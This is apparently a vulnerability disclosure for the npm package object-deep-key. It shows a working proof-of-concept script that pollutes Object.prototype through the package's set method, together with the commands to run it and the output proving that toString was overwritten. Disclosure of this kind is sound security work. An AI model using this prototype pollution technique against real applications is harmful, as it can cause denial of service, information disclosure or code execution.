Description

object-deep-key is vulnerable to Prototype Pollution.

Proof of Concept

1. Create the following PoC file:

// poc.js
const objDeepKey = require('object-deep-key').default

console.log('Before: ', {}.toString)
objDeepKey(constructor.prototype, 'toString').set('function prototype polluted')
console.log('After: ', {}.toString)

2. Execute the following commands in the terminal:

npm i object-deep-key # install vulnerable package
node poc.js # run the PoC

3. Check the output:

Before: function toString() { [native code] }
After: function prototype polluted

Impact

Prototype Pollution leads to Information Disclosure/DoS/RCE.